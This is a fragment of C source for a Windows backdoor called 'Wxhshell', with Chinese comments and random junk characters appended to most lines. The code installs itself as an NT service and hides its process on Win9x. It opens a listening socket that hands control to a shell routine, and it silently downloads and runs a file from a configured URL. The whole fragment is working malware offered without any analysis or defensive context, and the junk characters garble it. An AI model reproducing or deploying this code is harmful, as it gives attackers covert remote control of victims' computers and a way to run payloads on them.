ULONG InheritedFromUniqueProcessId; :XoR~syT
} PROCESS_BASIC_INFORMATION; V]"pM]>3X
\m1^sFMZ
PROCNTQSIP NtQueryInformationProcess; !4<A|$mQ
8<32(D{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (ip3{d{CT]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "DH>4Q]
d
t<$J
3h/"
HANDLE hProcess; hN\sC9a1
PROCESS_BASIC_INFORMATION pbi; Q`Q"p
&&m1_K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AxF$7J(
if(NULL == hInst ) return 0; 57]La^#
]{#Xcqx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ne 3t|JZ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .cx9+;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bn=YGEvz
2+pXtP@O
if (!NtQueryInformationProcess) return 0; :f7vGO"t
'z)cieFKP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %K06owV(S)
if(!hProcess) return 0; wuXH'
E9t8SclV
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u6IM~kk>5
t("koA=.
CloseHandle(hProcess); Ge=\IAj
^ P
A|RFP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L `=*Pwcj
if(hProcess==NULL) return 0; 0dI7{o;<|
FL&Y/5
HMODULE hMod; ] \!,yiVeU
char procName[255]; `krVfE;_O
unsigned long cbNeeded; nPl,qcyY
: t75iB=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :<0lC j
n!lE|if
CloseHandle(hProcess); oYJ<.Yxeb
f8UO`*O
if(strstr(procName,"services")) return 1; // 以服务启动 +%~me?
:O?3lj)
return 0; // 注册表启动 3O_O5
} ]gF=I5jn]
}g|9P SbJ
// 主模块 'P4V_VMK
int StartWxhshell(LPSTR lpCmdLine) /'_Yct=
{ :Dtm+EQ
SOCKET wsl; Zw%:mZN
BOOL val=TRUE; >fkV65w{*
int port=0; EQM[!g^a
struct sockaddr_in door; 3Q )"
CWB<I
if(wscfg.ws_autoins) Install(); fi&>;0?7
,W/Y@ScC
port=atoi(lpCmdLine); AI,E9
b.}J'?yLm
if(port<=0) port=wscfg.ws_port; I).eQ8:
qDfhR`1k
WSADATA data; r?pFc3~N
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f'qM?GlET
w^7[4u4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LA(/UA3Izd
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,zJ:a>v
door.sin_family = AF_INET; 9J<vkxG9`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); B2WPbox
door.sin_port = htons(port); ~4] J'E >
55,2eg#{O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "{~^EQq,
closesocket(wsl); lACS^(
return 1; vo~Qo;m
} 58`Dcx,yJ
SK*<H~2
if(listen(wsl,2) == INVALID_SOCKET) { ,.;{J|4P
closesocket(wsl); V~Jt
return 1; xsvJjs;=
} {"rL3Lk
Wxhshell(wsl); :01B)~^
WSACleanup(); 5 (q4o`
L/5th}m
return 0; muhu`
k`C
,WAJ&
'^
} lt\Bm<"z!1
lcfs
1].
// 以NT服务方式启动 qmNG|U&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'S9jMyZrZ
{ tQTjqy{K
DWORD status = 0; X'xnJtk
DWORD specificError = 0xfffffff; w.+G+r=
iWkC:fQz
serviceStatus.dwServiceType = SERVICE_WIN32; xF
3Z>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Lg-!,Y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %P C[-(Q
serviceStatus.dwWin32ExitCode = 0; DJ1!Xuu
serviceStatus.dwServiceSpecificExitCode = 0; [?XP[h gd
serviceStatus.dwCheckPoint = 0; m;U_oxb
serviceStatus.dwWaitHint = 0; /
w[Tu
{CX06BP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dChMjaix
if (hServiceStatusHandle==0) return; AMK(-=
{.Brh"yC
status = GetLastError(); 74c5\UxA
if (status!=NO_ERROR) on1B~?*D
{ $Xs`'>,"
serviceStatus.dwCurrentState = SERVICE_STOPPED; Sh:_YD^(
serviceStatus.dwCheckPoint = 0; "}S6a?]V
serviceStatus.dwWaitHint = 0; n-OQCz9Xl
serviceStatus.dwWin32ExitCode = status; #K/95!)
serviceStatus.dwServiceSpecificExitCode = specificError; Lx|0G $
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e^N}(Kpy
return; +.-mqtM
} q-/t?m0
\4O_@d`A
serviceStatus.dwCurrentState = SERVICE_RUNNING; E9'
2_e
serviceStatus.dwCheckPoint = 0; [*
|+ it+!
serviceStatus.dwWaitHint = 0; O<MO2U+^x
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }q,d JE
} 3KtJT&RuL
q
w@g7
// 处理NT服务事件,比如:启动、停止 bas1(/|S
VOID WINAPI NTServiceHandler(DWORD fdwControl) /0XmU@B
{ COHook(:
switch(fdwControl) B#3Q4c$
{ {+EnJ"
case SERVICE_CONTROL_STOP: F?qg?1vB|
serviceStatus.dwWin32ExitCode = 0; dk 0} q6~
serviceStatus.dwCurrentState = SERVICE_STOPPED; x~](d8*=
serviceStatus.dwCheckPoint = 0; bGxHzzU}
serviceStatus.dwWaitHint = 0; _ER. AKY
{ /<Z3x
_c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o/&
IT(v
}
?P/73p
return; m|v$F,Lv
case SERVICE_CONTROL_PAUSE: )4>7X)j>
serviceStatus.dwCurrentState = SERVICE_PAUSED; LCuz_LTFq{
break; ]zn3nhBI
case SERVICE_CONTROL_CONTINUE: g8@F/$HY
serviceStatus.dwCurrentState = SERVICE_RUNNING; DcE4r>8B
break; uQ7lC~
case SERVICE_CONTROL_INTERROGATE: s'bTP(wl9
break; 9TwKd0AT$&
}; ZZi|0dG4;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _(I)C`8m
} #)3 B
z[y
// 标准应用程序主函数 -FJLM
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =ADOf_n}
{ d]MpE9@'v
}Yc5U,A;
// 获取操作系统版本 S)/548=`
OsIsNt=GetOsVer(); {WQ6=wGpS
GetModuleFileName(NULL,ExeFile,MAX_PATH); O 0$V+fE
Ey=}bBx
// 从命令行安装 Ijk hV
if(strpbrk(lpCmdLine,"iI")) Install(); KP7 {
uBxoMxWm
// 下载执行文件 ]&dPY[~,/i
if(wscfg.ws_downexe) { c2?VjuB0
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TKgN31 `
WinExec(wscfg.ws_filenam,SW_HIDE); s+z 5"3'n
} ?[P>2oz
2+Oz$9`.
if(!OsIsNt) { +L@\/=;G
// 如果时win9x,隐藏进程并且设置为注册表启动 xW2?\em
HideProc(); _"*s x-
StartWxhshell(lpCmdLine); X{<taD2~
} M|zTs\1I
else [rL 8L6,!
if(StartFromService()) H6Bw3I[
// 以服务方式启动 \Hf/8!q
StartServiceCtrlDispatcher(DispatchTable); Z`U+a
else pjs4FZ`Pd;
// 普通方式启动 p1K]m>Y{?
StartWxhshell(lpCmdLine); X$6QQnyR
mx
UyD[|
return 0; pOh<I{r1
}